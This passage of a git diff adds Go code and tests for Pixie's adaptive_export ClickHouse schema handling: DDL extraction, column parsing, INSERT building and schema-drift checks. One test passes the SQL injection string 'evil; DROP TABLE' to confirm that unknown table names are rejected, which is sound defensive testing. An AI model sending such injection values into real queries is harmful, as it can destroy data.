clickhouse.Columns(table) — +// i.e. the canonical column list parsed out of schema.sql, which IS +// the single source of truth. +// +// Returns the FIRST drift detected as *SchemaDriftError. Callers +// usually want to log loudly and refuse to start so the misconfig +// is visible — silently continuing leaves the table with a schema +// the AE writer can't actually populate. +func (a *Applier) VerifyPixieSchema(ctx context.Context) error { + for _, table := range PixieTables() { + actual, err := a.tableColumns(ctx, table) + if err != nil { + return fmt.Errorf("verify %s: %w", table, err) + } + // The canonical column shape AE expects (schema.sql). + want, err := Columns(table) + if err != nil { + return fmt.Errorf("verify %s: load expected columns: %w", table, err) + } + // Operator-required + canonical union, deduped. + need := make([]string, 0, len(want)+len(requiredPixieColumns)) + seen := map[string]bool{} + for _, c := range want { + if !seen[c] { + seen[c] = true + need = append(need, c) + } + } + for _, c := range requiredPixieColumns { + if !seen[c] { + seen[c] = true + need = append(need, c) + } + } + var missing []string + for _, w := range need { + if !contains(actual, w) { + missing = append(missing, w) + } + } + if len(missing) > 0 { + return &SchemaDriftError{Table: table, Missing: missing} + } + } + return nil +} + +// tableColumns lists the column names of forensic_db.
as +// reported by system.columns. +func (a *Applier) tableColumns(ctx context.Context, table string) ([]string, error) { + q := url.Values{} + q.Set("query", fmt.Sprintf( + "SELECT name FROM system.columns WHERE database='forensic_db' AND table=%s FORMAT JSONEachRow", + quoteCH(table))) + req, err := http.NewRequestWithContext(ctx, http.MethodGet, a.endpoint+"/?"+q.Encode(), nil) + if err != nil { + return nil, err + } + if a.user != "" { + req.SetBasicAuth(a.user, a.pass) + } + resp, err := a.client.Do(req) + if err != nil { + return nil, err + } + defer resp.Body.Close() + if resp.StatusCode/100 != 2 { + body, _ := io.ReadAll(io.LimitReader(resp.Body, 4096)) + return nil, fmt.Errorf("HTTP %d: %s", resp.StatusCode, strings.TrimSpace(string(body))) + } + body, err := io.ReadAll(resp.Body) + if err != nil { + return nil, err + } + type row struct { + Name string `json:"name"` + } + var out []string + for _, line := range bytes.Split(body, []byte{'\n'}) { + line = bytes.TrimSpace(line) + if len(line) == 0 { + continue + } + var r row + if err := json.Unmarshal(line, &r); err != nil { + return nil, fmt.Errorf("parse system.columns row: %w", err) + } + out = append(out, r.Name) + } + return out, nil +} + +func quoteCH(s string) string { + r := strings.NewReplacer(`\`, `\\`, `'`, `\'`).Replace(s) + return "'" + r + "'" +} + +func contains(s []string, x string) bool { + for _, v := range s { + if v == x { + return true + } + } + return false +} diff --git a/src/vizier/services/adaptive_export/internal/clickhouse/apply_test.go b/src/vizier/services/adaptive_export/internal/clickhouse/apply_test.go new file mode 100644 index 00000000000..0898398d6f1 --- /dev/null +++ b/src/vizier/services/adaptive_export/internal/clickhouse/apply_test.go @@ -0,0 +1,265 @@ +// Copyright 2018- The Pixie Authors. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +// SPDX-License-Identifier: Apache-2.0 + +package clickhouse + +import ( + "context" + "errors" + "fmt" + "io" + "net/http" + "net/http/httptest" + "strings" + "sync" + "sync/atomic" + "testing" +) + +// TestApply_ExecutesEveryOperatorOwnedTable — Apply POSTs one DDL per +// table in OperatorOwnedTables, in order. None of the kubescape tables +// (alerts, kubescape_logs) are touched — those belong to the soc installer. +func TestApply_ExecutesEveryOperatorOwnedTable(t *testing.T) { + var mu sync.Mutex + var bodies []string + srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + b, _ := io.ReadAll(r.Body) + mu.Lock() + bodies = append(bodies, string(b)) + mu.Unlock() + w.WriteHeader(200) + })) + defer srv.Close() + a, err := NewApplier(srv.URL, "", "") + if err != nil { + t.Fatalf("NewApplier: %v", err) + } + if err := a.Apply(context.Background()); err != nil { + t.Fatalf("Apply: %v", err) + } + // 1 CREATE DATABASE + len(OperatorOwnedTables) CREATE TABLE calls. + if got, want := len(bodies), len(OperatorOwnedTables)+1; got != want { + t.Fatalf("Apply made %d calls, want %d", got, want) + } + if !strings.Contains(bodies[0], "CREATE DATABASE IF NOT EXISTS forensic_db") { + t.Fatalf("first DDL must create the database; got: %s", bodies[0]) + } + // Spot-check that the SECOND call is for the first OperatorOwnedTables entry, + // and that the LAST call is for trigger_watermark (the newest + // operator-owned table, registered after adaptive_attribution). + if !strings.Contains(bodies[1], "forensic_db."+OperatorOwnedTables[0]) { + t.Fatalf("second DDL not for %s; got: %s", OperatorOwnedTables[0], bodies[1]) + } + if !strings.Contains(bodies[len(bodies)-1], "forensic_db.trigger_watermark") { + t.Fatalf("last DDL not for trigger_watermark; got: %s", bodies[len(bodies)-1]) + } + // And ensure no kubescape DDL leaked through. + for _, b := range bodies { + if strings.Contains(b, "forensic_db.alerts") || strings.Contains(b, "forensic_db.kubescape_logs") { + t.Fatalf("operator's Apply must not create kubescape tables; got:\n%s", b) + } + } +} + +// TestApply_FailsFastOnHTTPError — if any CREATE returns non-2xx, +// Apply returns immediately without attempting later tables. +func TestApply_FailsFastOnHTTPError(t *testing.T) { + // atomic.Int32 because httptest's handler runs on its own goroutine + // while the test goroutine reads `calls` after Apply returns — + // without atomic the -race detector flags a data race even though + // the goroutines are happens-before-ordered by Apply's HTTP response. + var calls atomic.Int32 + srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + n := calls.Add(1) + if n == 1 { + w.WriteHeader(500) + _, _ = w.Write([]byte("ddl exploded")) + return + } + w.WriteHeader(200) + })) + defer srv.Close() + a, err := NewApplier(srv.URL, "", "") + if err != nil { + t.Fatalf("NewApplier: %v", err) + } + if err := a.Apply(context.Background()); err == nil { + t.Fatalf("expected error from Apply on HTTP 500") + } + if got := calls.Load(); got != 1 { + t.Fatalf("Apply continued past first failure; calls = %d", got) + } +} + +// tableForQuery extracts the table name from a system.columns query +// like "...AND table='http_events' FORMAT JSONEachRow". +func tableForQuery(q string) string { + const marker = "table='" + i := strings.Index(q, marker) + if i < 0 { + return "" + } + rest := q[i+len(marker):] + j := strings.Index(rest, "'") + if j < 0 { + return "" + } + return rest[:j] +} + +// TestVerifyPixieSchema_DetectsMissingColumns — defensive guard. +// On rig 6a25c85c (PR #47 schema-loss report), http_events was created +// by a hand-maintained stopgap that DIDN'T include req_path / +// req_headers / etc. — the columns AE's writer puts into JSONEachRow +// posts. The old VerifyPixieSchema only checked namespace/pod/hostname/ +// time_, so it passed; the writer's 22 unknown fields then got silently +// dropped by CH at default settings. The expanded contract verifies +// EVERY column AE expects per table is present in CH (the writer ⇔ +// schema contract). This test reproduces the rig 6a25c85c shape: +// http_events comes back with the 4 operator-required columns but +// missing the data columns the writer fills. +func TestVerifyPixieSchema_DetectsMissingColumns(t *testing.T) { + srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + // Return only the operator-required columns for the first pixie + // table iterated; that's the regression shape — looks "valid" + // to the old checker but fails the writer-column union. + table := tableForQuery(r.URL.Query().Get("query")) + if table == "http_events" { + _, _ = w.Write([]byte(`{"name":"time_"}` + "\n")) + _, _ = w.Write([]byte(`{"name":"upid"}` + "\n")) + _, _ = w.Write([]byte(`{"name":"namespace"}` + "\n")) + _, _ = w.Write([]byte(`{"name":"pod"}` + "\n")) + _, _ = w.Write([]byte(`{"name":"hostname"}` + "\n")) + return + } + // Other tables (won't be reached) — fully populated. + cols, _ := Columns(table) + for _, c := range cols { + fmt.Fprintf(w, "{\"name\":%q}\n", c) + } + })) + defer srv.Close() + a, err := NewApplier(srv.URL, "", "") + if err != nil { + t.Fatalf("NewApplier: %v", err) + } + err = a.VerifyPixieSchema(context.Background()) + if err == nil { + t.Fatalf("expected SchemaDriftError; got nil") + } + var drift *SchemaDriftError + if !errors.As(err, &drift) { + t.Fatalf("err type = %T, want *SchemaDriftError", err) + } + if drift.Table != "http_events" { + t.Fatalf("first drift = %q, want http_events", drift.Table) + } + // Spot-check that several of the data columns the writer fills are + // flagged missing — that's the new coverage vs the old 4-column + // check. + for _, want := range []string{"req_path", "req_headers", "resp_status", "latency"} { + if !contains(drift.Missing, want) { + t.Errorf("Missing should include %q (writer-column drift); got %v", want, drift.Missing) + } + } +} + +// TestVerifyPixieSchema_AllPresent — happy path. The mock server returns +// the FULL schema.sql column shape for each table, so VerifyPixieSchema +// confirms the writer ⇔ schema contract holds and returns nil. +func TestVerifyPixieSchema_AllPresent(t *testing.T) { + srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + table := tableForQuery(r.URL.Query().Get("query")) + cols, err := Columns(table) + if err != nil { + http.Error(w, err.Error(), 500) + return + } + for _, c := range cols { + fmt.Fprintf(w, "{\"name\":%q}\n", c) + } + })) + defer srv.Close() + a, err := NewApplier(srv.URL, "", "") + if err != nil { + t.Fatalf("NewApplier: %v", err) + } + if err := a.VerifyPixieSchema(context.Background()); err != nil { + t.Fatalf("VerifyPixieSchema: %v", err) + } +} + +// TestNewApplier_RejectsBadEndpoint — defensive contract. +func TestNewApplier_RejectsBadEndpoint(t *testing.T) { + if _, err := NewApplier("", "", ""); err == nil { + t.Fatalf("empty endpoint not rejected") + } + if _, err := NewApplier("http://%zz", "", ""); err == nil { + t.Fatalf("malformed endpoint not rejected") + } +} + +// TestOperatorOwnedTables_DoesNotIncludeKubescape — structural guard: +// the operator never owns kubescape tables. +func TestOperatorOwnedTables_DoesNotIncludeKubescape(t *testing.T) { + for _, x := range []string{"alerts", "kubescape_logs"} { + if contains(OperatorOwnedTables, x) { + t.Fatalf("%q must not be in OperatorOwnedTables (it belongs to the soc installer)", x) + } + } +} + +// TestOperatorOwnedTables_TrailingOperatorTables — ordering guard. +// pixie observation tables come first (so they exist before the retention +// plugin can auto-DDL them with the wrong schema), then the operator's +// own write targets in declared order. +func TestOperatorOwnedTables_TrailingOperatorTables(t *testing.T) { + want := []string{"adaptive_attribution", "trigger_watermark"} + got := OperatorOwnedTables[len(OperatorOwnedTables)-len(want):] + for i, w := range want { + if got[i] != w { + t.Fatalf("OperatorOwnedTables tail = %v, want %v", got, want) + } + } +} + +// TestOperatorOwnedTables_CoversAllPixieTables — drift guard between the +// boot-time Apply (OperatorOwnedTables, this file) and the verify path +// that uses ddl.go's KnownTables / PixieTables. aeprod3/4/5 shipped with +// the two lists out of sync: ddl.go's PixieTables() included "conn_stats" +// (re-added in commit a54a1f6d3) but OperatorOwnedTables +// did not, so Apply created 14 tables and Verify expected 15 — AE fatal'd +// at boot with `pixie table schema drift detected … conn_stats schema +// drift, missing columns`. Anyone adding a new pixie observation table in +// the future MUST add it to both lists; this test fails loudly otherwise. +func TestOperatorOwnedTables_CoversAllPixieTables(t *testing.T) { + owned := map[string]bool{} + for _, n := range OperatorOwnedTables { + owned[n] = true + } + var missing []string + for _, p := range PixieTables() { + if !owned[p] { + missing = append(missing, p) + } + } + if len(missing) > 0 { + t.Fatalf("PixieTables() not covered by OperatorOwnedTables: %v "+ + "(adding a pixie table requires updating BOTH apply.go OperatorOwnedTables "+ + "and ddl.go KnownTables+PixieTables — drift causes the boot-time schema "+ + "verify to fail with \"missing columns\")", missing) + } +} diff --git a/src/vizier/services/adaptive_export/internal/clickhouse/columns_test.go b/src/vizier/services/adaptive_export/internal/clickhouse/columns_test.go new file mode 100644 index 00000000000..2e3a94bfb73 --- /dev/null +++ b/src/vizier/services/adaptive_export/internal/clickhouse/columns_test.go @@ -0,0 +1,130 @@ +// Copyright 2018- The Pixie Authors. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +// SPDX-License-Identifier: Apache-2.0 + +package clickhouse + +import ( + "reflect" + "strings" + "testing" +) + +// http_events is the shape AE writes most often (and the bench shape). +// Pin the exact ordered column list so a schema.sql edit that drops or +// reorders a column trips this test loudly. +func TestColumns_http_events_ExactList(t *testing.T) { + got, err := Columns("http_events") + if err != nil { + t.Fatalf("Columns: %v", err) + } + want := []string{ + "time_", "upid", "namespace", "pod", + "remote_addr", "remote_port", "local_addr", "local_port", + "trace_role", "encrypted", "major_version", "minor_version", + "content_type", "req_headers", "req_method", "req_path", + "req_body", "req_body_size", "resp_headers", "resp_status", + "resp_message", "resp_body", "resp_body_size", "latency", + "hostname", "event_time", + } + if !reflect.DeepEqual(got, want) { + t.Fatalf("Columns(http_events) mismatch:\n got=%v\nwant=%v", got, want) + } +} + +// conn_stats is the column shape pinned by the rev-2 schema; if anyone +// drops or renames a column the bench-encoder fast-path would silently +// emit the wrong JSON, so this guard is mandatory. +func TestColumns_conn_stats_ExactList(t *testing.T) { + got, err := Columns("conn_stats") + if err != nil { + t.Fatalf("Columns: %v", err) + } + want := []string{ + "time_", "upid", "namespace", "pod", + "remote_addr", "remote_port", "trace_role", "addr_family", + "protocol", "ssl", "conn_open", "conn_close", "conn_active", + "bytes_sent", "bytes_recv", "hostname", "event_time", + } + if !reflect.DeepEqual(got, want) { + t.Fatalf("Columns(conn_stats) mismatch:\n got=%v\nwant=%v", got, want) + } +} + +// Every table in PixieTables() must successfully parse, and each must +// include the operator-mandated namespace + pod columns plus the +// retention-plugin-mandated hostname + event_time columns. +func TestColumns_AllPixieTables_HaveOperatorColumns(t *testing.T) { + for _, table := range PixieTables() { + cols, err := Columns(table) + if err != nil { + t.Errorf("Columns(%q): %v", table, err) + continue + } + for _, required := range []string{"namespace", "pod", "hostname", "event_time"} { + found := false + for _, c := range cols { + if c == required { + found = true + break + } + } + if !found { + t.Errorf("Columns(%q) missing required column %q (cols=%v)", table, required, cols) + } + } + } +} + +// Backtick-quoted (dotted) tables also resolve. +func TestColumns_DottedTables(t *testing.T) { + for _, table := range []string{"http2_messages.beta", "kafka_events.beta"} { + got, err := Columns(table) + if err != nil { + t.Errorf("Columns(%q): %v", table, err) + continue + } + if len(got) == 0 { + t.Errorf("Columns(%q): empty", table) + } + } +} + +// Unknown tables return ErrUnknownTable so callers (sink) can fall +// back to the encoding/json slow path safely. +func TestColumns_UnknownTable_ErrUnknownTable(t *testing.T) { + _, err := Columns("not_a_real_table") + if err == nil || !strings.Contains(err.Error(), "unknown table") { + t.Fatalf("expected ErrUnknownTable for unknown table, got %v", err) + } +} + +// Repeated lookups for the same table return the same content. (The +// underlying parser may or may not cache — the sink's fast-path +// encoder caches the column slice itself once per table; what we test +// here is that the public Columns() answer is stable.) +func TestColumns_Repeated_StableResult(t *testing.T) { + a, err := Columns("dns_events") + if err != nil { + t.Fatal(err) + } + b, err := Columns("dns_events") + if err != nil { + t.Fatal(err) + } + if !reflect.DeepEqual(a, b) { + t.Fatalf("Columns(dns_events) drift across calls: a=%v b=%v", a, b) + } +} diff --git a/src/vizier/services/adaptive_export/internal/clickhouse/ddl.go b/src/vizier/services/adaptive_export/internal/clickhouse/ddl.go new file mode 100644 index 00000000000..2a3da5bffb9 --- /dev/null +++ b/src/vizier/services/adaptive_export/internal/clickhouse/ddl.go @@ -0,0 +1,123 @@ +// Copyright 2018- The Pixie Authors. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +// SPDX-License-Identifier: Apache-2.0 + +// Package clickhouse owns the canonical ClickHouse DDL for the +// forensic_db tables that adaptive_export reads (kubescape_logs) and +// the 12 socket_tracer tables Pixie's retention plugin writes (which +// the operator joins against via forensic_db.adaptive_attribution). +// +// schema.sql is the single source of truth. The operator never invents +// SQL — it always extracts statements verbatim from the embedded copy. +package clickhouse + +import ( + _ "embed" + "errors" + "fmt" + "strings" +) + +//go:embed schema.sql +var canonicalSchema string + +// KnownTables enumerates every forensic_db table the operator is aware +// of, in the order they appear in schema.sql. Backtick-quoted table +// names (those containing dots, e.g. "http2_messages.beta") are listed +// here without backticks; DDL() reinjects them. +var KnownTables = []string{ + // non-pixie + "alerts", + "kubescape_logs", + // 12 socket_tracer pixie observation tables + "http_events", + "http2_messages.beta", + "dns_events", + "redis_events", + "mysql_events", + "pgsql_events", + "cql_events", + "mongodb_events", + "kafka_events.beta", + "amqp_events", + "mux_events", + "tls_events", + // conn_stats — re-added to rev-2 schema; counts per + // (remote_addr, remote_port, protocol) on each retention-script pull. + "conn_stats", + // operator-owned attribution table + "adaptive_attribution", + // operator-owned persistent trigger cursor + "trigger_watermark", +} + +// ErrUnknownTable is returned by DDL / Columns when asked for a table +// not in KnownTables. +var ErrUnknownTable = errors.New("clickhouse: unknown table") + +// DDL returns the canonical CREATE TABLE statement for the named table, +// extracted from the embedded schema.sql. +func DDL(table string) (string, error) { + if !isKnown(table) { + return "", fmt.Errorf("%w: %q", ErrUnknownTable, table) + } + // ClickHouse identifiers containing a dot must be backtick-quoted. + // Build the right header for the lookup. + identifier := table + if strings.Contains(table, ".") { + identifier = "`" + table + "`" + } + header := "CREATE TABLE IF NOT EXISTS forensic_db." + identifier + start := strings.Index(canonicalSchema, header) + if start < 0 { + return "", fmt.Errorf("%w: %q registered in KnownTables but not present in embedded schema.sql", ErrUnknownTable, table) + } + rest := canonicalSchema[start:] + semi := strings.Index(rest, ";") + if semi < 0 { + return "", fmt.Errorf("malformed schema.sql: no terminating ';' after %q", table) + } + return rest[:semi+1], nil +} + +// PixieTables returns the subset of KnownTables that are pixie +// socket_tracer observation tables (the JOIN targets for +// adaptive_attribution). +func PixieTables() []string { + return []string{ + "http_events", + "http2_messages.beta", + "dns_events", + "redis_events", + "mysql_events", + "pgsql_events", + "cql_events", + "mongodb_events", + "kafka_events.beta", + "amqp_events", + "mux_events", + "tls_events", + "conn_stats", + } +} + +func isKnown(name string) bool { + for _, t := range KnownTables { + if t == name { + return true + } + } + return false +} diff --git a/src/vizier/services/adaptive_export/internal/clickhouse/ddl_test.go b/src/vizier/services/adaptive_export/internal/clickhouse/ddl_test.go new file mode 100644 index 00000000000..a2255d288c7 --- /dev/null +++ b/src/vizier/services/adaptive_export/internal/clickhouse/ddl_test.go @@ -0,0 +1,142 @@ +// Copyright 2018- The Pixie Authors. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +// SPDX-License-Identifier: Apache-2.0 + +package clickhouse + +import ( + "errors" + "strings" + "testing" +) + +// TestDDL_ReturnsCanonicalForKnownTables — every table named in +// KnownTables can be extracted as a complete CREATE TABLE statement. +func TestDDL_ReturnsCanonicalForKnownTables(t *testing.T) { + for _, name := range KnownTables { + t.Run(name, func(t *testing.T) { + ddl, err := DDL(name) + if err != nil { + t.Fatalf("DDL(%q): %v", name, err) + } + if !strings.HasPrefix(ddl, "CREATE TABLE IF NOT EXISTS forensic_db.") { + t.Fatalf("DDL(%q) wrong prefix: %q", name, ddl[:minInt(70, len(ddl))]) + } + if !strings.HasSuffix(ddl, ";") { + t.Fatalf("DDL(%q) does not terminate with ';'", name) + } + }) + } +} + +// TestDDL_PixieTablesIncludeNamespaceAndPod — every pixie table must +// declare namespace + pod columns (used by attribution JOINs). +func TestDDL_PixieTablesIncludeNamespaceAndPod(t *testing.T) { + for _, name := range PixieTables() { + t.Run(name, func(t *testing.T) { + ddl, err := DDL(name) + if err != nil { + t.Fatalf("DDL(%q): %v", name, err) + } + if !strings.Contains(ddl, "namespace") { + t.Fatalf("%s missing namespace column", name) + } + if !strings.Contains(ddl, "pod") { + t.Fatalf("%s missing pod column", name) + } + }) + } +} + +// TestDDL_PixieTables_NoAnomalyHashColumn — pixie observation tables +// MUST NOT carry the hash inline; attribution is via JOIN. +func TestDDL_PixieTables_NoAnomalyHashColumn(t *testing.T) { + for _, name := range PixieTables() { + t.Run(name, func(t *testing.T) { + ddl, err := DDL(name) + if err != nil { + t.Fatalf("DDL(%q): %v", name, err) + } + if strings.Contains(ddl, "anomaly_hash") || strings.Contains(ddl, "anomaly_hashes") { + t.Fatalf("pixie table %q must not carry anomaly_hash column; got:\n%s", name, ddl) + } + }) + } +} + +// TestDDL_AdaptiveAttribution_HasExpectedColumns — the attribution +// table is the operator's only write target. +func TestDDL_AdaptiveAttribution_HasExpectedColumns(t *testing.T) { + ddl, err := DDL("adaptive_attribution") + if err != nil { + t.Fatalf("DDL: %v", err) + } + for _, c := range []string{ + "anomaly_hash", "namespace", "pod", "comm", "pid", + "hostname", "t_start", "t_end", "last_seen", + } { + if !strings.Contains(ddl, c) { + t.Fatalf("adaptive_attribution missing column %q; got:\n%s", c, ddl) + } + } + if !strings.Contains(ddl, "ReplacingMergeTree(t_end)") { + t.Fatalf("adaptive_attribution must use ReplacingMergeTree(t_end); got:\n%s", ddl) + } +} + +// TestDDL_KubescapeLogs_PreservesAnomalyHash — kubescape_logs keeps its +// existing anomaly_hash DEFAULT ” column for pipeline compat. +func TestDDL_KubescapeLogs_PreservesAnomalyHash(t *testing.T) { + ddl, err := DDL("kubescape_logs") + if err != nil { + t.Fatalf("DDL: %v", err) + } + if !strings.Contains(ddl, "anomaly_hash") { + t.Fatalf("kubescape_logs lost anomaly_hash column: %s", ddl) + } +} + +// TestDDL_UnknownTable_ErrUnknownTable — defensive contract. +func TestDDL_UnknownTable_ErrUnknownTable(t *testing.T) { + for _, bad := range []string{"", "no_such_table", "process_events"} { + _, err := DDL(bad) + if !errors.Is(err, ErrUnknownTable) { + t.Fatalf("DDL(%q) → %v, want ErrUnknownTable", bad, err) + } + } +} + +// TestDDL_DottedTableName_BacktickQuoted — schema.sql backtick-quotes +// dotted ClickHouse identifiers. +func TestDDL_DottedTableName_BacktickQuoted(t *testing.T) { + for _, name := range []string{"http2_messages.beta", "kafka_events.beta"} { + t.Run(name, func(t *testing.T) { + ddl, err := DDL(name) + if err != nil { + t.Fatalf("DDL(%q): %v", name, err) + } + if !strings.Contains(ddl, "`"+name+"`") { + t.Fatalf("dotted table %q must be backtick-quoted; got:\n%s", name, ddl) + } + }) + } +} + +func minInt(a, b int) int { + if a < b { + return a + } + return b +} diff --git a/src/vizier/services/adaptive_export/internal/clickhouse/insert.go b/src/vizier/services/adaptive_export/internal/clickhouse/insert.go new file mode 100644 index 00000000000..1d76c286760 --- /dev/null +++ b/src/vizier/services/adaptive_export/internal/clickhouse/insert.go @@ -0,0 +1,114 @@ +// Copyright 2018- The Pixie Authors. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +// SPDX-License-Identifier: Apache-2.0 + +package clickhouse + +import ( + "fmt" + "strings" +) + +// Columns returns the column names of forensic_db.
in +// declaration order, parsed from the embedded canonical schema.sql. +// Same defensive contract as DDL: unknown table → ErrUnknownTable. +func Columns(table string) ([]string, error) { + ddl, err := DDL(table) + if err != nil { + return nil, err + } + return parseColumnList(ddl) +} + +// InsertSQL returns the parameterized INSERT for forensic_db.
, +// ending in "... VALUES" so a driver's batch API can append rows. +// Column order matches Columns() exactly — callers MUST append values +// in that same order. Dotted ClickHouse identifiers are auto-quoted +// with backticks. +func InsertSQL(table string) (string, error) { + cols, err := Columns(table) + if err != nil { + return "", err + } + identifier := table + if strings.Contains(table, ".") { + identifier = "`" + table + "`" + } + return fmt.Sprintf("INSERT INTO forensic_db.%s (%s) VALUES", + identifier, strings.Join(cols, ", ")), nil +} + +// parseColumnList walks the body of a CREATE TABLE statement, returning +// the leading identifier of each non-comment, non-blank line up to the +// closing `)` that ends the column list. Defensive against the SQL +// dialect quirks present in our schema (LowCardinality(...), DEFAULT +// expressions, inline -- comments, multi-word types). +func parseColumnList(ddl string) ([]string, error) { + open := strings.Index(ddl, "(") + if open < 0 { + return nil, fmt.Errorf("malformed DDL: no opening paren") + } + body := ddl[open+1:] + // the closing paren of the column list is the first `)` at the + // matching depth, but our schema doesn't nest parens inside the + // column list except inside DEFAULT exprs (e.g. now64(3)) and + // LowCardinality(String). Track depth. + depth := 1 + end := -1 + for i, r := range body { + switch r { + case '(': + depth++ + case ')': + depth-- + if depth == 0 { + end = i + } + } + if end >= 0 { + break + } + } + if end < 0 { + return nil, fmt.Errorf("malformed DDL: no closing paren for column list") + } + body = body[:end] + + var cols []string + for _, raw := range strings.Split(body, "\n") { + line := strings.TrimSpace(raw) + if line == "" || strings.HasPrefix(line, "--") { + continue + } + // strip trailing comma + inline -- comment + if i := strings.Index(line, "--"); i >= 0 { + line = strings.TrimSpace(line[:i]) + } + line = strings.TrimSuffix(line, ",") + if line == "" { + continue + } + // first whitespace-separated token = column name + fields := strings.Fields(line) + if len(fields) == 0 { + continue + } + cols = append(cols, fields[0]) + } + if len(cols) == 0 { + return nil, fmt.Errorf("malformed DDL: no columns parsed") + } + return cols, nil +} diff --git a/src/vizier/services/adaptive_export/internal/clickhouse/insert_test.go b/src/vizier/services/adaptive_export/internal/clickhouse/insert_test.go new file mode 100644 index 00000000000..ee66a17a85d --- /dev/null +++ b/src/vizier/services/adaptive_export/internal/clickhouse/insert_test.go @@ -0,0 +1,109 @@ +// Copyright 2018- The Pixie Authors. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +// SPDX-License-Identifier: Apache-2.0 + +package clickhouse + +import ( + "errors" + "strings" + "testing" +) + +// TestColumns_AdaptiveAttribution — the operator's only write target. +// Column list must match the DDL exactly so the sink can append values +// in the right positional order. +func TestColumns_AdaptiveAttribution(t *testing.T) { + cols, err := Columns("adaptive_attribution") + if err != nil { + t.Fatalf("Columns: %v", err) + } + want := []string{ + "anomaly_hash", "namespace", "pod", "comm", "pid", + "hostname", "t_start", "t_end", "last_seen", + "last_rule_id", "n_anomalies", + } + if len(cols) != len(want) { + t.Fatalf("Columns(adaptive_attribution) length %d, want %d; got %v", len(cols), len(want), cols) + } + for i, c := range want { + if cols[i] != c { + t.Fatalf("col[%d] = %q, want %q (full=%v)", i, cols[i], c, cols) + } + } +} + +// TestColumns_PixieTablesIncludeNamespaceAndPod — every pixie table's +// column list contains namespace + pod (the JOIN keys against +// adaptive_attribution). +func TestColumns_PixieTablesIncludeNamespaceAndPod(t *testing.T) { + for _, table := range PixieTables() { + t.Run(table, func(t *testing.T) { + cols, err := Columns(table) + if err != nil { + t.Fatalf("Columns(%q): %v", table, err) + } + if !contains(cols, "namespace") { + t.Fatalf("%s missing namespace; cols=%v", table, cols) + } + if !contains(cols, "pod") { + t.Fatalf("%s missing pod; cols=%v", table, cols) + } + if contains(cols, "anomaly_hash") || contains(cols, "anomaly_hashes") { + t.Fatalf("%s must not carry hash inline; cols=%v", table, cols) + } + }) + } +} + +// TestInsertSQL_AdaptiveAttribution — the canonical INSERT used by the sink. +func TestInsertSQL_AdaptiveAttribution(t *testing.T) { + sql, err := InsertSQL("adaptive_attribution") + if err != nil { + t.Fatalf("InsertSQL: %v", err) + } + if !strings.HasPrefix(sql, "INSERT INTO forensic_db.adaptive_attribution (") { + t.Fatalf("bad prefix: %q", sql) + } + if !strings.HasSuffix(sql, ") VALUES") { + t.Fatalf("bad suffix: %q", sql) + } +} + +// TestInsertSQL_DottedTablesBacktickQuoted — INSERT statements for +// dotted ClickHouse identifiers must wrap the name in backticks. +func TestInsertSQL_DottedTablesBacktickQuoted(t *testing.T) { + for _, table := range []string{"http2_messages.beta", "kafka_events.beta"} { + t.Run(table, func(t *testing.T) { + sql, err := InsertSQL(table) + if err != nil { + t.Fatalf("InsertSQL(%q): %v", table, err) + } + if !strings.Contains(sql, "INSERT INTO forensic_db.`"+table+"` (") { + t.Fatalf("dotted table %q not backtick-quoted: %q", table, sql) + } + }) + } +} + +// TestInsertSQL_Unknown — defensive contract. +func TestInsertSQL_Unknown(t *testing.T) { + for _, bad := range []string{"", "evil; DROP TABLE"} { + _, err := InsertSQL(bad) + if !errors.Is(err, ErrUnknownTable) { + t.Fatalf("InsertSQL(%q) → %v, want ErrUnknownTable", bad, err) + } + } +} diff --git a/src/vizier/services/adaptive_export/internal/clickhouse/integration_test.go b/src/vizier/services/adaptive_export/internal/clickhouse/integration_test.go new file mode 100644 index 00000000000..d0cc78a642e --- /dev/null +++ b/src/vizier/services/adaptive_export/internal/clickhouse/integration_test.go @@ -0,0 +1,154 @@ +// Copyright 2018- The Pixie Authors. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at 